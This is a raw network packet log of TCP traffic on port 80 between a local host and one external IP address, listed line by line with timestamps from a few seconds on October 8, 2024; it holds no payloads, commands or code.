Oct 8, 2024 05:27:18.661034107 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:18.661040068 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:18.661060095 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:18.661072016 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:18.661077023 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:18.661096096 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:18.661112070 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:18.661127090 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:18.661127090 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:18.661195993 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:18.712173939 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:18.712189913 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:18.712213993 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:18.712227106 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:18.712243080 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:18.712258101 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:18.712274075 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:18.712287903 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:18.712364912 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:18.712389946 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:18.712403059 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:18.712403059 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:18.712404966 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:18.712424040 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:18.712440968 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:18.712460041 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:18.712464094 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:18.712486982 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:18.712502003 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:18.712527037 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:18.712532043 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:18.712532043 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:18.712542057 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:18.712553024 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:18.712557077 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:18.712574005 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:18.712589025 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:18.712605000 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:18.712619066 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:18.712625980 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:18.712625980 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:18.712671995 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:18.712685108 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:18.712685108 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:18.712747097 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:18.712759972 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:18.712774038 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:18.712788105 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:18.712802887 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:18.712807894 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:18.712819099 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:18.712835073 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:18.712853909 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:18.712866068 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:18.712872028 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:18.712872028 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:18.712920904 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:18.712920904 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:18.713310003 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:18.713327885 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:18.713344097 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:18.713383913 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:18.713383913 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:18.713471889 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:18.713495016 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:18.713510036 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:18.713520050 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:18.713526011 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:18.713542938 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:18.713568926 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:18.713584900 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:18.713599920 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:18.713601112 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:18.713601112 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:18.713624954 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:18.713640928 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:18.713654041 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:18.713654041 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:18.713656902 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:18.713673115 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:18.713687897 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:18.713702917 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:18.713717937 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:18.713717937 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:18.713726997 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:18.713748932 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:18.713766098 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:18.713771105 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:18.713771105 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:18.713783026 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:18.713799953 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:18.713812113 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:18.713826895 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:18.713841915 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:18.713845968 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:18.713845968 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:18.713857889 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:18.713874102 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:18.713887930 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:18.713893890 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:18.713893890 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:18.713905096 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:18.713964939 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:18.713964939 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:18.748459101 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:18.748493910 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:18.748509884 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:18.748537064 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:18.748553991 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:18.748647928 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:18.748663902 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:18.748687983 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:18.748703003 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:18.748718023 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:18.748738050 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:18.748738050 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:18.748738050 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:18.748764038 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:18.748788118 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:18.748804092 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:18.748811007 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:18.748811007 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:18.748819113 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:18.748835087 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:18.748859882 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:18.748874903 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:18.748888016 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:18.748888969 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:18.748888016 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:18.748908043 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:18.748931885 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:18.748943090 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:18.748943090 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:18.748950958 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:18.748966932 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:18.748981953 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:18.748990059 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:18.749005079 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:18.749023914 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:18.749023914 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:18.749030113 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:18.749046087 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:18.749061108 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:18.749072075 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:18.749072075 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:18.749078035 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:18.749092102 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:18.749108076 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:18.749121904 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:18.749135971 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:18.749151945 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:18.749159098 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:18.749160051 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:18.749176025 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:18.749200106 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:18.749214888 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:18.749221087 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:18.749221087 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:18.749239922 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:18.749255896 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:18.749269962 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:18.749289036 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:18.749289036 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:18.749293089 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:18.749319077 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:18.749335051 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:18.749346972 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:18.749346972 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:18.749350071 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:18.749366045 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:18.749380112 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:18.749397039 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:18.749402046 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:18.749420881 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:18.749433994 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:18.749445915 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:18.749461889 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:18.749478102 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:18.749481916 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:18.749481916 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:18.749495983 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:18.749511003 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:18.749519110 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:18.749542952 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:18.749550104 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:18.749550104 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:18.749567986 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:18.749584913 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:18.749600887 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:18.749610901 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:18.749610901 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:18.749619007 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:18.749634981 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:18.749675035 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:18.749675989 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:18.800885916 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:18.800915003 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:18.800930023 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:18.800946951 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:18.800961971 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:18.800962925 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:18.800978899 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:18.800996065 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:18.801027060 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:18.801044941 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:18.801069975 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:18.801078081 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:18.801093102 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:18.801105022 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:18.801127911 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:18.801131964 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:18.801147938 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:18.801150084 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:18.801163912 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:18.801179886 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:18.801182032 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:18.801203012 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:18.801242113 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:18.801600933 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:18.801616907 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:18.801632881 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:18.801645994 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:18.801646948 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:18.801661015 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:18.801671028 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:18.801676989 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:18.801692009 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:18.801709890 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:18.801718950 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:18.801734924 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:18.801743031 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:18.801755905 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:18.801769018 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:18.801773071 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:18.801788092 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:18.801804066 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:18.801805019 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:18.801826954 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:18.801842928 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:18.801843882 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:18.801862001 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:18.801865101 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:18.801903963 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:18.802021027 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:18.802035093 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:18.802050114 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:18.802064896 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:18.802067995 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:18.802087069 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:18.802107096 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:18.802109003 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:18.802125931 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:18.802139997 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:18.802140951 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:18.802155972 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:18.802182913 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:18.802184105 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:18.802208900 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:18.802216053 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:18.802236080 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:18.802249908 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:18.802253962 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:18.802265882 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:18.802279949 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:18.802293062 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:18.802294016 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:18.802309990 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:18.802318096 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:18.802326918 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:18.802339077 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:18.802351952 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:18.802376032 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:18.802377939 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:18.802391052 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:18.802407026 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:18.802416086 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:18.802422047 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:18.802437067 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:18.802438974 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:18.802453995 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:18.802470922 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:18.802476883 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:18.802489042 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:18.802505016 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:18.802515984 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:18.802520037 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:18.802536011 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:18.802542925 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:18.802566051 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:18.802599907 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:18.837383032 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:18.837430000 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:18.837496042 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:18.837526083 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:18.837551117 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:18.837567091 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:18.837583065 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:18.837596893 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:18.837598085 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:18.837598085 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:18.837613106 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:18.837636948 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:18.837651968 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:18.837666035 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:18.837682009 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:18.837697029 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:18.837713957 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:18.837721109 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:18.837728977 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:18.837734938 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:18.837734938 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:18.837734938 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:18.837734938 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:18.837734938 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:18.837737083 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:18.837744951 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:18.837753057 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:18.837754965 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:18.837763071 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:18.837778091 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:18.837785959 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:18.837801933 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:18.837816954 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:18.837825060 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:18.837832928 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:18.837847948 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:18.837862015 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:18.837863922 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:18.837877035 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:18.837893009 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 05:27:18.837894917 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:18.837919950 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 05:27:18.837944031 CEST	49706	80	192.168.2.5	185.215.113.37
